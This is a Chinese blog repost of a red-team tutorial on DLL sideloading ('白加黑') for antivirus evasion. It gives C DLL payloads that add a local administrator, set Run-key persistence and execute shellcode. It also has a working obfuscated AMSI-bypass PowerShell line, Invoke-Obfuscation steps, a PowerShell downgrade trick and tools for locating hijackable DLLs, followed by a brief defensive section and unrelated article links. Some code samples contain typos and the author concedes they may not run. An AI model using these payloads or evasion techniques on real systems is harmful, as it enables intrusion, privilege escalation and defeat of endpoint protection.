百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术分析 > 正文

白加黑的初步探究 白加黑能提炼出什么

liebian365 2024-10-30 04:50 19 浏览 0 评论

0X00前言


为什么我们需要白加黑这种攻击方法呢?答:降本增效,我们知道在以后AI+安全崛起的大背景下,社工将会成为攻防演练项目中,成本最低,效率最高的一种攻击方式,而这个时候"白加黑"的成本优势就体现的淋漓尽致了。

那什么是白加黑呢?答:白加黑就是通过DLL劫持在应用程序的导出目录中通过创建一个DLL并通过LoadLibrary函数(或者找一个已有的DLL注入恶意代码)来加载DLL文件。当目标尝试执行该文件(注意:不是执行受恶意的DLL文件)时,这个白文件会在应用程序加载时加载恶意的DLL。目标只要加载包含恶意代码的文件,攻击者就可以访问目标计算机了。

小提示:代码只是参考,不一定可以运行哟!!!

0X01起源


在攻防演练中通过运行恶意代码连接C2是最常用的手段,但是由于对抗程度的提升。以360、天擎为代表的杀毒软件针对信任链的检测,已经变得愈来愈成熟。这个时候我们要么花费巨额资金去购买"签名",要么针对杀软当中的白名单进行研究与利用。

这个时候有人会说,怎么去利用白名单呢?答:攻击者利用了微软Windows应用程序加载DLL文件的方式。这里我们可以理解为,攻击者通过利用"白加黑"这种攻击方法(即,利用白文件加载恶意的动态链接库 (DLL) )。当攻击者通过社工钓鱼的手段,使得目标下载恶意的文件到目标自己的计算机上,并点击运行白文件时,该文件会在运行时执行恶意DLL。

我们通过构造"白加黑"可以达到如下的目的:

运行文件,达到执行敏感命令的目的(eg:执行MS系列POC、将Mimikatz变为shellcode执行....)
运行文件,达到权限提升的目的(eg:添加net user创建新用户.....)
运行文件,达到权限维持的目的(eg:添加新的注册表)......

补充:360、天擎为代表的杀软也会对一些微软签名的Windows工具和.exe文件进行标记,例如:PuDump、Rundll32、Msbuild.....所以,攻击者需要实时更新自己的DLL白名单,不然免杀效果很可能失效。

运行文件,达到执行敏感命令的目的

/*
DLL劫持运行
编译64位(Linux):i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
      MessageBox(
        NULL,
        "hello world!",
        MB_OK
      );
      break;
    case DLLPROCESSDETACH:
      break;
    case DLLTHREADATTACH:
      break;
    case DLLTHREADDETACH:
      break;
    }
    return TRUE;
}

也许最简单的纠正措施包括确保所有软件都安装在受保护的目录C:\Program FilesC:\Program Files (x86). 如果无法在这些地方安装软件,那么下一个最简单的步骤就是保证只有管理用户对安装目录具有“创建”或“写入”权限,以防止攻击者安装恶意 DLL 从而破坏漏洞。

运行文件,达到权限提升的目的

/*
DLL权限提升
编译(Linux)
对于x64编译:x86_64-w64-mingw32-gcc evil.c -shared -o xxx.dll
对于x86编译:i686-w64-mingw32-gcc evil.c -shared -o xxx.dll
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
      system("powershell.exe /k net localgroup administrators user /add");
      break;
    case DLLPROCESSDETACH:
      break;
    case DLLTHREADATTACH:
      break;
    case DLLTHREADDETACH:
      break;
    }
    return TRUE;
}

运行文件,达到权限维持的目的

/*
DLL权限维持
编译(Linux)
对于x64编译:x86_64-w64-mingw32-gcc evil.c -shared -o xxx.dll
对于x86编译:i686-w64-mingw32-gcc evil.c -shared -o xxx.dll
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
      HKEY hkey = NULL;
      const char* exe = "C:\\xxx.exe";
      LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);
      if (res == ERROR_SUCCESS) {
        RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
        RegCloseKey(hkey);
      }
      break;
    case DLLPROCESSDETACH:
      break;
    case DLLTHREADATTACH:
      break;
    case DLLTHREADDETACH:
      break;
    }
    return TRUE;
}

0X02攻击方式


由上面的文章可以知道,主流的"白加黑"有三种不同的加载方式:

白执行黑DLL
白执行DLL加载shellcode
白加载shellcode

我们知道当程序被编译时,可执行文件的头文件(PE)会将导入表添入其中。而导入表的作用是记住需要从哪个DLL导入哪些函数,所以白文件每次执行程序时,链接器都知道该做什么并自动加载所有必需的库。这时我们就可以通过找到合适的DLL(即,拥有写入权限的),并对其进行修改(即,注入恶意的代码)为恶意的黑DLL。但是如果没有合适的可修改的黑DLL,我们又想在运行时候让白文件加载黑DLL,那么Windows API提供LoadLibrary()LoadLibraryEx()函数就为我们提供了一个新的思路,那就是通过函数构造一个黑DLL,在将DLL的名称导入到导入表中使其在白文件运行的时候执行。以上两种不同的思路,导致了"白加黑"有了两种不同的思路,即可以修改原有的DLL,也可以创造一个黑DLL进行攻击。

这里补充一下,白加载shellcode就是我们所说的无文件落地免杀!我们首先讲一讲前面两个在国内流行的"白加黑"的方法吧,关于无文件落地下一段再说。

白加黑通用流程

寻找合适的白文件(eg:)

>

提示:建议手工查找,脚本准确几率不高!!

检查文件夹权限,查看是否有写入权限,如果有可以考虑直接修改,反之则考虑通过LoadLibrary函数创建一个新的黑DLL提示:我们知道Windows系统会按照预先确定的顺序查找相关库的位置。又因为DLL的执行顺序:加载应用程序的目录===>系统目录C:\Windows\System32===>系统目录C:\Windows\System===>Windows 目录 C:\Windows===>当前工作目录===>PATH 环境变量定义的目录;所以我们可以按照如下图所示的顺序进行DLL的搜索,并通过工具确定合适的DLL。

白执行黑DLL

关于这个方法我们根据选择的白文件的DLL的特点,进行合理的修改!首先我们可以利用库引用在白文件的上下文中执行代码。如果文件允许LoadLibrary函数动态解析库的路径,那么该文件也会在当前目录中查找库DLL。我们通过将"白加黑"复制到具有写入权限的目录即可。如果我们需要创建自定义的黑DLL,那么白文件将加载黑DLL并执行恶意的代码。而且,我们寻找的白文件大多会有签名并通过了杀软的信任,使得我们的攻击成功几率大大增加。

黑DLL的代码演示(如下图所示):

/*
DLL执行DLL的命令
编译64位(Linux):i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c
*/

# include "pch.h"
# include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule,
 DWORD ul_reason_for_call,
 LPVOID lpReserved
)
{
 switch (ul_reason_for_call)
 {
 case DLLPROCESSATTACH: 
 system("calc");
 case DLLTHREADATTACH: 
 case DLLTHREADDETACH: 
 break;
 }
 return TRUE;
}

不满足所有导出的 DLL 劫持,在 C/C++ 中编写有效负载 DLL 时,可能会劫持DllMain中的控制流。执行此操作时,没有必要枚举和满足所有需要的导出,即可能存在 DLL 没有任何导出并且只能通过 DllMain 入口点被劫持的情况。

白执行DLL加载shellcode

我们也可以通过构造恶意的黑DLL,并在其中运行shellcode,达到命令执行的效果,来绕过360和天擎的检测。

黑DLL加载shellcode的代码演示(如下图所示):

/*
DLL执行DLL的命令
编译64位(Linux):i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c
*/
#include <winternl.h>
#include <windows.h>
#include <tlhelp32.h>
// 加载的shellcoder(弹calc) 64-bit
unsigned char payload[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0xf, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x1, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9,  };

extern "A" __declspec(dllexport) void Go(void) {
    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    unsigned int payload_len = sizeof(payload);
    exec_mem = VirtualAlloc(1, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec_mem, payload, payload_len);
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
    WaitForSingleObject(th, -1);
}
BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ulreason_forcall, LPVOID lpReserved) {
    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
        break;
    }
    return TRUE;
}

0X03无文件落地


内存(asmi)/行为(edr)检测

我们知道一旦启用Powershell,就会导致微软的Defender调用ASMI接口,进行检测。但是我们要注意,其实在启动Powershell的时候,asmi.exe就已经被注入到powershell.exe的进程当中了,所以Defender才可以通过ASMI的函数去检测恶意行为。又因为某些原因Powershell无文件落地免杀在国内其实不太流行,因为360\天擎一旦发现Powershell运行一些敏感函数就会标记直接拦截,导致执行失败,但是它却可绕过火绒等杀软。

Powershell混淆

Invoke-Obfuscation是一个兼容PowerShellv2.0+的PowerShell命令和脚本混淆器(github地址:https://github.com/danielbohannon/Invoke-Obfuscation),我们可以使用Invoke-Obfuscation来混淆/加密恶意的PowerShell脚本,使得PowerShell脚本逃避杀软的检测,原理是代码是在解释器中执行的,并很难检测代码本质上是否存在恶意代码。

第一步将涉及创建恶意PowerShell脚本并将其保存,沙箱检测如下所示:

创建并保存恶意PowerShell脚本后,打开混淆工具,我们可以通过在Invoke-Obfuscate提示符中运行以下命令来完成:Import-Module .\Invoke-Obfuscation.psd1 Invoke-Obfuscation

然后指定脚本路径,系统将提示您使用混淆方法菜单,如下所示:

这时,我们可以选择合适混淆方法,通过在Invoke-Obfuscate提示符中运行命令来选择此选项:

>

最后,输出混淆后的.ps1脚本

我们已经能够成功地混淆我们的恶意PowerShell脚本并逃避任何AV检测,或者您也可以使用Invoke-Obfuscate来混淆或编码单个PowerShell命令。建议有能力的进行二次开发,除去加密的特征值,免杀效果更好。

注意:使用的目标应该能够执行PowerShell脚本,否则,我们将无法执行混淆/编码的PowerShell脚本。

当然也可以利用

绕过EDR

为了防止我们被edr发现,我们需要针对Powershell进行"降低版本"的操作,如果你有能力降级到 Powershell 2.0,这可以让你绕过该ConstrainedLanguage模式。虽然效果不错,但是如果edr对版本进行标记,依然会导致异常。

$ExecutionContext.SessionState.LanguageMode
Powershell
$ExecutionContext.SessionState.LanguageMode
Powershell -version 2

小提示:Win10及以上版本可能需要安装Powershell 2版本才可以进行利用!

ASMI免杀处理

为了做好Powershell的免杀,我们针对内存规避有着以下的手段:

专注于内存操作,不将文件写入磁盘

通过利用各种Windows API将有效负载注入进程

然后在存储器中的单独线程中执行有效载荷

但是ASMI依然对Powershell的免杀有着致命的打击,所以需要我们针对Powershell的ASMI免杀做出特定的研究。

利用常见方法绕过

使用XOR等加密方法来绕过AMSI,并在运行时将字符串解码回内存

通过阻断ASMI.dll中AmsiScanBuffer()函数的扫描进程

修改注册表,将HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable的值更改为0

利用网站混淆绕过

#Matt Graebers second Reflection method 
$wfSi=$null;$hlrajhy="$([char](30+53)+[cHaR]([byte]0x79)+[CHar]([BYtE]0x73)+[ChAR]([BYTe]0x74)+[Char](101*20/20)+[chaR](109*46/46)).$([CHaR](65+12)+[chAR](97+89-89)+[CHAR]([byTE]0x6e)+[cHAR]([bYte]0x61)+[char]([ByTe]0x67)+[ChAR](101)+[CHAR]([byTe]0x6d)+[cHaR]([bytE]0x65)+[chAr]([ByTe]0x6e)+[cHar](116)).$(('?ut?mát'+'íón').NOrmAlizE([chaR](33+37)+[cHAR](111)+[ChAR]([BYTE]0x72)+[CHAr](109+28-28)+[CHar](68)) -replace [chaR](92+71-71)+[cHar]([BYTe]0x70)+[ChAr]([Byte]0x7b)+[ChaR]([BYtE]0x4d)+[chaR]([BYtE]0x6e)+[ChaR](125+53-53)).$(('?ms'+'íUt'+'íls').NORMaLIze([cHAr](70)+[cHAR]([BYTE]0x6f)+[cHAr](24+90)+[chAR](22+87)+[cHar](68+36-36)) -replace [cHAR]([bYTe]0x5c)+[Char](112+50-50)+[chAr]([bYtE]0x7b)+[CHar](77)+[cHAr]([byTE]0x6e)+[CHar]([BYTe]0x7d))";$xrgohuphpvm="+('n'+'u'+'?').NormALize([CHaR](70+47-47)+[ChaR](111)+[cHaR]([BYtE]0x72)+[cHAR]([ByTe]0x6d)+[CHAR](68*53/53)) -replace [CHAr]([BYTE]0x5c)+[chAr]([bYte]0x70)+[ChAr]([BYTe]0x7b)+[chaR](77)+[cHaR](110+87-87)+[chAR](125*25/25)";[Threading.Thread]::Sleep(1085);[Runtime.InteropServices.Marshal]::("$([cHAR]([ByTe]0x57)+[char](114)+[Char]([byte]0x69)+[ChAR](116)+[chAR]([byte]0x65)+[ChAR](73+49-49)+[chAr](110+78-78)+[chAR]([BYte]0x74)+[CHar]([BYTE]0x33)+[cHAR](50*13/13))")([Ref].Assembly.GetType($hlrajhy).GetField("$(('àmsìC'+'?ntex'+'t').norMAlizE([CHAR]([BYte]0x46)+[ChAr]([BYtE]0x6f)+[Char](114+75-75)+[CHAr]([ByTE]0x6d)+[CHaR]([byTE]0x44)) -replace [CHar]([BYtE]0x5c)+[cHar](112+67-67)+[CHaR](123+7-7)+[CHar]([BYTE]0x4d)+[ChAR]([byTe]0x6e)+[ChAR]([bYtE]0x7d))",[Reflection.BindingFlags]"NonPublic,Static").GetValue($wfSi),0x5762f72c);

网站链接:https://amsi.fail

0X04寻找白文件


人工寻找白文件

通过Procmon进程监视器,显示实时?件系统、注册表和进程/线程活动,这?我们?来观察进程运?过程的DLL调?。通过设置不同的筛选方式去寻找可以加载的黑DLL。

我们通过运?xxx.exe白文件对比,寻找是否存在LoadLibrary函数,如果存在,我们可以直接构造一个恶意黑DLL。

反之,我们就需要劫持不存在的DLL。

自动化挖掘白文件


https://github.com/cyberark/DLLSpy

DLLSpy.exe -x

-d:强制,扫描加载的模块。
-o:指定输出文件。
-s:静态扫描,寻找缺失的DLL和二进制文件中的DLL
-r <number>:递归扫描,number是递归的深度

https://github.com/dragoneeg/bDLL

执行:python DllJacking_Python.py 目标文件夹地址

虽然高效,误报高,准确度低!

也可以去网站搜索 (网站地址:https://hijacklibs.net/)

0X05检测和预防措施


我也收集了关于白加黑的部分预防和检测方法,并分享在下文当中。该分享将白加黑攻击分解为软件开发级别的预防措施,并提出了针对端点用户级别的建议。如上提及的一些检测方法:

检查具有异常网络连接的进程,且给定进程的网络活动已变得与基线不同,则该进程可能已受到损害

DLL权限,针对具有LoadLibrary()函数的DLL进行限制

DLL白名单,即跟踪系统上使用的DLL的哈希值以识别差异

但是这些检测方法难以大范围实施,虽然可以利用,但是成本过于高昂。这就是为什么"白加黑"仍然有效并在攻防演练当中运用的原因。该恶意攻击方式存在的根本问题与软件开发人员密切相关。所以希望本文能被更多开发人员看见,已减少攻击者用其攻击手段。

参考文章如下:

https://attack.mitre.org/techniques/T1547/001/

https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/

https://blog.csdn.net/cd520yy/article/details/49455127

https://blog.csdn.net/Jailman/article/details/128221217

from: https://xz.aliyun.com/t/12376

相关推荐

“版本末期”了?下周平衡补丁!国服最强5套牌!上分首选

明天,酒馆战棋就将迎来大更新,也聊了很多天战棋相关的内容了,趁此机会,给兄弟们穿插一篇构筑模式的卡组推荐!老规矩,我们先来看10职业胜率。目前10职业胜率排名与一周前基本类似,没有太多的变化。平衡补丁...

VS2017 C++ 程序报错“error C2065:“M_PI”: 未声明的标识符&quot;

首先,程序中头文件的选择,要选择头文件,在文件中是没有对M_PI的定义的。选择:项目——>”XXX属性"——>配置属性——>C/C++——>预处理器——>预处理器定义,...

东营交警实名曝光一批酒驾人员名单 88人受处罚

齐鲁网·闪电新闻5月24日讯酒后驾驶是对自己和他人生命安全极不负责的行为,为守护大家的平安出行路,东营交警一直将酒驾作为重点打击对象。5月23日,东营交警公布最新一批饮酒、醉酒名单。对以下驾驶人醉酒...

Qt界面——搭配QCustomPlot(qt platform)

这是我第一个使用QCustomPlot控件的上位机,通过串口精确的5ms发送一次数据,再将读取的数据绘制到图表中。界面方面,尝试卡片式设计,外加QSS简单的配了个色。QCustomPlot官网:Qt...

大话西游2分享赢取种族坐骑手办!PK趣闻录由你书写

老友相聚,仗剑江湖!《大话西游2》2021全民PK季4月激燃打响,各PK玩法鏖战齐开,零门槛参与热情高涨。PK季期间,不仅各种玩法奖励丰厚,参与PK趣闻录活动,投稿自己在PK季遇到的趣事,还有机会带走...

测试谷歌VS Code AI 编程插件 Gemini Code Assist

用ClaudeSonnet3.7的天气测试编码,让谷歌VSCodeAI编程插件GeminiCodeAssist自动编程。生成的文件在浏览器中的效果如下:(附源代码)VSCode...

顾爷想知道第4.5期 国服便利性到底需优化啥?

前段时间DNF国服推出了名为“阿拉德B计划”的系列改版计划,截至目前我们已经看到了两项实装。不过关于便利性上,国服似乎还有很多路要走。自从顾爷回归DNF以来,几乎每天都在跟我抱怨关于DNF里面各种各样...

掌握Visual Studio项目配置【基础篇】

1.前言VisualStudio是Windows上最常用的C++集成开发环境之一,简称VS。VS功能十分强大,对应的,其配置系统较为复杂。不管是对于初学者还是有一定开发经验的开发者来说,捋清楚VS...

还嫌LED驱动设计套路深?那就来看看这篇文章吧

随着LED在各个领域的不同应用需求,LED驱动电路也在不断进步和发展。本文从LED的特性入手,推导出适合LED的电源驱动类型,再进一步介绍各类LED驱动设计。设计必读:LED四个关键特性特性一:非线...

Visual Studio Community 2022(VS2022)安装图文方法

直接上步骤:1,首先可以下载安装一个VisualStudio安装器,叫做VisualStudioinstaller。这个安装文件很小,很快就安装完成了。2,打开VisualStudioins...

Qt添加MSVC构建套件的方法(qt添加c++11)

前言有些时候,在Windows下因为某些需求需要使用MSVC编译器对程序进行编译,假设我们安装Qt的时候又只是安装了MingW构建套件,那么此时我们该如何给现有的Qt添加一个MSVC构建套件呢?本文以...

Qt为什么站稳c++GUI的top1(qt c)

为什么现在QT越来越成为c++界面编程的第一选择,从事QT编程多年,在这之前做C++界面都是基于MFC。当时为什么会从MFC转到QT?主要原因是MFC开发界面想做得好看一些十分困难,引用第三方基于MF...

qt开发IDE应该选择VS还是qt creator

如果一个公司选择了qt来开发自己的产品,在面临IDE的选择时会出现vs或者qtcreator,选择qt的IDE需要结合产品需求、部署平台、项目定位、程序猿本身和公司战略,因为大的软件产品需要明确IDE...

Qt 5.14.2超详细安装教程,不会来打我

Qt简介Qt(官方发音[kju:t],音同cute)是一个跨平台的C++开库,主要用来开发图形用户界面(GraphicalUserInterface,GUI)程序。Qt是纯C++开...

Cygwin配置与使用(四)——VI字体和颜色的配置

简介:VI的操作模式,基本上VI可以分为三种状态,分别是命令模式(commandmode)、插入模式(Insertmode)和底行模式(lastlinemode),各模式的功能区分如下:1)...

取消回复欢迎 发表评论: